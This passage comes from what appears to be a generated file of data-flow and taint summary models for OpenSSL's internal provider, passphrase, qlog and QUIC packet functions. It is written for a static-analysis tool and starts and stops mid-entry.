"ossl_prov_ctx_get0_libctx", "(PROV_CTX *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_libctx", "(PROV_CTX *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get_bool_param", "(PROV_CTX *,const char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get_param", "(PROV_CTX *,const char *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get_param", "(PROV_CTX *,const char *,const char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_core_bio_method", "(PROV_CTX *,BIO_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**corebiometh]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_core_bio_method", "(PROV_CTX *,BIO_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*corebiometh]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_core_get_params", "(PROV_CTX *,OSSL_FUNC_core_get_params_fn *)", "", "Argument[1]", "Argument[*0].Field[*core_get_params]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_handle", "(PROV_CTX *,const OSSL_CORE_HANDLE *)", "", "Argument[*1]", "Argument[*0].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_handle", "(PROV_CTX *,const OSSL_CORE_HANDLE *)", "", "Argument[1]", "Argument[*0].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_libctx", "(PROV_CTX *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_libctx", "(PROV_CTX *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_copy", "(PROV_DIGEST *,const PROV_DIGEST *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_prov_digest_engine", "(const PROV_DIGEST *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_engine", "(const PROV_DIGEST *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_fetch", "(PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_prov_digest_fetch", "(PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_prov_digest_load_from_params", "(PROV_DIGEST *,const OSSL_PARAM[],OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_md", "(const PROV_DIGEST *)", "", "Argument[*0].Field[**md]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_md", "(const PROV_DIGEST *)", "", "Argument[*0].Field[*md]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_set_md", "(PROV_DIGEST *,EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[**alloc_md]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_set_md", "(PROV_DIGEST *,EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*alloc_md]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_free_key", "(const OSSL_DISPATCH *,void *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_export", "(const OSSL_DISPATCH *)", "", "Argument[*0].Field[*function]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_export", "(const OSSL_DISPATCH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_free", "(const OSSL_DISPATCH *)", "", "Argument[*0].Field[*function]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_free", "(const OSSL_DISPATCH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_import", "(const OSSL_DISPATCH *)", "", "Argument[*0].Field[*function]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_import", "(const OSSL_DISPATCH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_new", "(const OSSL_DISPATCH *)", "", "Argument[*0].Field[*function]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_new", "(const OSSL_DISPATCH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_import_key", "(const OSSL_DISPATCH *,void *,int,const OSSL_PARAM[])", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_macctx_load_from_params", "(EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_macctx_load_from_params", "(EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_memdup", "(const void *,size_t,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_memdup", "(const void *,size_t,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_memdup", "(const void *,size_t,unsigned char **,size_t *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_memdup", "(const void *,size_t,unsigned char **,size_t *)", "", "Argument[0]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_memdup", "(const void *,size_t,unsigned char **,size_t *)", "", "Argument[1]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_memdup", "(const void *,size_t,unsigned char **,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_ml_dsa_new", "(PROV_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_prov_ml_kem_new", "(PROV_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_prov_seeding_from_dispatch", "(const OSSL_DISPATCH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_set_macctx", "(EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_add_to_store", "(OSSL_PROVIDER *,OSSL_PROVIDER **,int)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ossl_provider_add_to_store", "(OSSL_PROVIDER *,OSSL_PROVIDER **,int)", "", "Argument[0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_ctx", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_provider_ctx", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "ossl_provider_ctx", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_provider_doall_activated", "(OSSL_LIB_CTX *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_provider_dso", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**module]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_dso", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*module]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_get0_dispatch", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**dispatch]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_get0_dispatch", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*dispatch]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_get_parent", "(OSSL_PROVIDER *)", "", "Argument[*0].Field[**handle]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_get_parent", "(OSSL_PROVIDER *)", "", "Argument[*0].Field[*handle]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_info_add_to_store", "(OSSL_LIB_CTX *,OSSL_PROVIDER_INFO *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_init_as_child", "(OSSL_LIB_CTX *,const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_is_child", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*ischild]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_libctx", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_libctx", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_module_name", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_provider_module_name", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_provider_module_path", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_provider_module_path", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_provider_name", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_name", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_new", "(OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_new", "(OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_new", "(OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_new", "(OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_new", "(OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int)", "", "Argument[2]", "ReturnValue[*].Field[*init_function]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_set_child", "(OSSL_PROVIDER *,const OSSL_CORE_HANDLE *)", "", "Argument[*1]", "Argument[*0].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_set_child", "(OSSL_PROVIDER *,const OSSL_CORE_HANDLE *)", "", "Argument[1]", "Argument[*0].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_set_module_path", "(OSSL_PROVIDER *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**path]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_set_module_path", "(OSSL_PROVIDER *,const char *)", "", "Argument[1]", "Argument[*0].Field[**path]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_set_operation_bit", "(OSSL_PROVIDER *,size_t)", "", "Argument[1]", "Argument[*0].Field[**operation_bits]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_set_operation_bit", "(OSSL_PROVIDER *,size_t)", "", "Argument[1]", "Argument[*0].Field[*operation_bits_sz]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_store_new", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_store_new", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_test_operation_bit", "(OSSL_PROVIDER *,size_t,int *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_punycode_decode", "(const char *,const size_t,unsigned int *,unsigned int *)", "", "Argument[*0]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_punycode_decode", "(const char *,const size_t,unsigned int *,unsigned int *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_punycode_decode", "(const char *,const size_t,unsigned int *,unsigned int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_punycode_decode", "(const char *,const size_t,unsigned int *,unsigned int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[*0]", "Argument[*5].Field[**cached_passphrase]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[*2]", "Argument[*5].Field[*cached_passphrase_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[0]", "Argument[*5].Field[**cached_passphrase]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[2]", "Argument[*5].Field[*cached_passphrase_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[*0]", "Argument[*4].Field[**cached_passphrase]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[*2]", "Argument[*4].Field[*cached_passphrase_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[0]", "Argument[*4].Field[**cached_passphrase]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[2]", "Argument[*4].Field[*cached_passphrase_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[*0]", "Argument[*4].Field[**cached_passphrase]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[*2]", "Argument[*4].Field[*cached_passphrase_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[0]", "Argument[*4].Field[**cached_passphrase]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[2]", "Argument[*4].Field[*cached_passphrase_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_pem_password", "(char *,int,int,void *)", "", "Argument[*0]", "Argument[*3].Field[**cached_passphrase]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_pem_password", "(char *,int,int,void *)", "", "Argument[0]", "Argument[*3].Field[**cached_passphrase]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_pem_password", "(char *,int,int,void *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_pvk_password", "(char *,int,int,void *)", "", "Argument[*0]", "Argument[*3].Field[**cached_passphrase]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_pvk_password", "(char *,int,int,void *)", "", "Argument[0]", "Argument[*3].Field[**cached_passphrase]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_pvk_password", "(char *,int,int,void *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_enabled", "(QLOG *,uint32_t)", "", "Argument[*0].Field[*enabled]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_qlog_enabled", "(QLOG *,uint32_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**event_cat]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[*3]", "Argument[*0].Field[**event_name]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[*4]", "Argument[*0].Field[**event_combined_name]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[*event_type]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[*event_cat]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[3]", "Argument[*0].Field[*event_name]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_event_try_begin", "(QLOG *,uint32_t,const char *,const char *,const char *)", "", "Argument[4]", "Argument[*0].Field[*event_combined_name]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_new", "(const QLOG_TRACE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_qlog_new_from_env", "(const QLOG_TRACE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_qlog_override_time", "(QLOG *,OSSL_TIME)", "", "Argument[1]", "Argument[*0].Field[*event_time]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_set_event_type_enabled", "(QLOG *,uint32_t,int)", "", "Argument[1]", "Argument[*0].Field[*enabled]", "taint", "dfc-generated"] + - ["", "", True, "ossl_qlog_set_sink_bio", "(QLOG *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_qlog_set_sink_bio", "(QLOG *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrl_enc_level_set_get", "(OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int)", "", "Argument[*0].Field[*el]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrl_enc_level_set_get", "(OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_qrl_enc_level_set_get", "(OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_qrx_get_bytes_received", "(OSSL_QRX *,int)", "", "Argument[*0].Field[*bytes_received]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_get_cur_forged_pkt_count", "(OSSL_QRX *)", "", "Argument[*0].Field[*forged_pkt_count]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_get_short_hdr_conn_id_len", "(OSSL_QRX *)", "", "Argument[*0].Field[*short_conn_id_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_inject_pkt", "(OSSL_QRX *,OSSL_QRX_PKT *)", "", "Argument[1]", "Argument[*0].Field[*rx_pending].Field[*alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_inject_pkt", "(OSSL_QRX *,OSSL_QRX_PKT *)", "", "Argument[1]", "Argument[*0].Field[*rx_pending].Field[*omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_inject_urxe", "(OSSL_QRX *,QUIC_URXE *)", "", "Argument[*1]", "Argument[*0].Field[*urx_pending].Field[**alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_inject_urxe", "(OSSL_QRX *,QUIC_URXE *)", "", "Argument[*1]", "Argument[*0].Field[*urx_pending].Field[**omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_inject_urxe", "(OSSL_QRX *,QUIC_URXE *)", "", "Argument[1]", "Argument[*0].Field[*urx_pending].Field[*alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_inject_urxe", "(OSSL_QRX *,QUIC_URXE *)", "", "Argument[1]", "Argument[*0].Field[*urx_pending].Field[*omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_new", "(const OSSL_QRX_ARGS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_qrx_read_pkt", "(OSSL_QRX *,OSSL_QRX_PKT **)", "", "Argument[0]", "Argument[**1].Field[*qrx]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_key_update_cb", "(OSSL_QRX *,ossl_qrx_key_update_cb *,void *)", "", "Argument[**2]", "Argument[*0].Field[***key_update_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_key_update_cb", "(OSSL_QRX *,ossl_qrx_key_update_cb *,void *)", "", "Argument[*2]", "Argument[*0].Field[**key_update_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_key_update_cb", "(OSSL_QRX *,ossl_qrx_key_update_cb *,void *)", "", "Argument[1]", "Argument[*0].Field[*key_update_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_key_update_cb", "(OSSL_QRX *,ossl_qrx_key_update_cb *,void *)", "", "Argument[2]", "Argument[*0].Field[*key_update_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_late_validation_cb", "(OSSL_QRX *,ossl_qrx_late_validation_cb *,void *)", "", "Argument[**2]", "Argument[*0].Field[***validation_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_late_validation_cb", "(OSSL_QRX *,ossl_qrx_late_validation_cb *,void *)", "", "Argument[*2]", "Argument[*0].Field[**validation_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_late_validation_cb", "(OSSL_QRX *,ossl_qrx_late_validation_cb *,void *)", "", "Argument[1]", "Argument[*0].Field[*validation_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_late_validation_cb", "(OSSL_QRX *,ossl_qrx_late_validation_cb *,void *)", "", "Argument[2]", "Argument[*0].Field[*validation_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_msg_callback", "(OSSL_QRX *,ossl_msg_cb,SSL *)", "", "Argument[*2]", "Argument[*0].Field[**msg_callback_ssl]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_msg_callback", "(OSSL_QRX *,ossl_msg_cb,SSL *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_msg_callback", "(OSSL_QRX *,ossl_msg_cb,SSL *)", "", "Argument[2]", "Argument[*0].Field[*msg_callback_ssl]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_msg_callback_arg", "(OSSL_QRX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_msg_callback_arg", "(OSSL_QRX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qrx_set_msg_callback_arg", "(OSSL_QRX *,void *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_calculate_ciphertext_payload_len", "(OSSL_QTX *,uint32_t,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_qtx_calculate_plaintext_payload_len", "(OSSL_QTX *,uint32_t,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_qtx_get_cur_dgram_len_bytes", "(OSSL_QTX *)", "", "Argument[*0].Field[**cons].Field[*data_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_get_cur_epoch_pkt_count", "(OSSL_QTX *,uint32_t)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_qtx_get_mdpl", "(OSSL_QTX *)", "", "Argument[*0].Field[*mdpl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_get_queue_len_bytes", "(OSSL_QTX *)", "", "Argument[*0].Field[*pending_bytes]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_get_queue_len_datagrams", "(OSSL_QTX *)", "", "Argument[*0].Field[*pending_count]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_get_unflushed_pkt_count", "(OSSL_QTX *)", "", "Argument[*0].Field[*cons_count]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_is_enc_level_provisioned", "(OSSL_QTX *,uint32_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_qtx_new", "(const OSSL_QTX_ARGS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_qtx_pop_net", "(OSSL_QTX *,BIO_MSG *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_qtx_set_bio", "(OSSL_QTX *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_bio", "(OSSL_QTX *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_mdpl", "(OSSL_QTX *,size_t)", "", "Argument[1]", "Argument[*0].Field[*mdpl]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_msg_callback", "(OSSL_QTX *,ossl_msg_cb,SSL *)", "", "Argument[*2]", "Argument[*0].Field[**msg_callback_ssl]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_msg_callback", "(OSSL_QTX *,ossl_msg_cb,SSL *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "ossl_qtx_set_msg_callback", 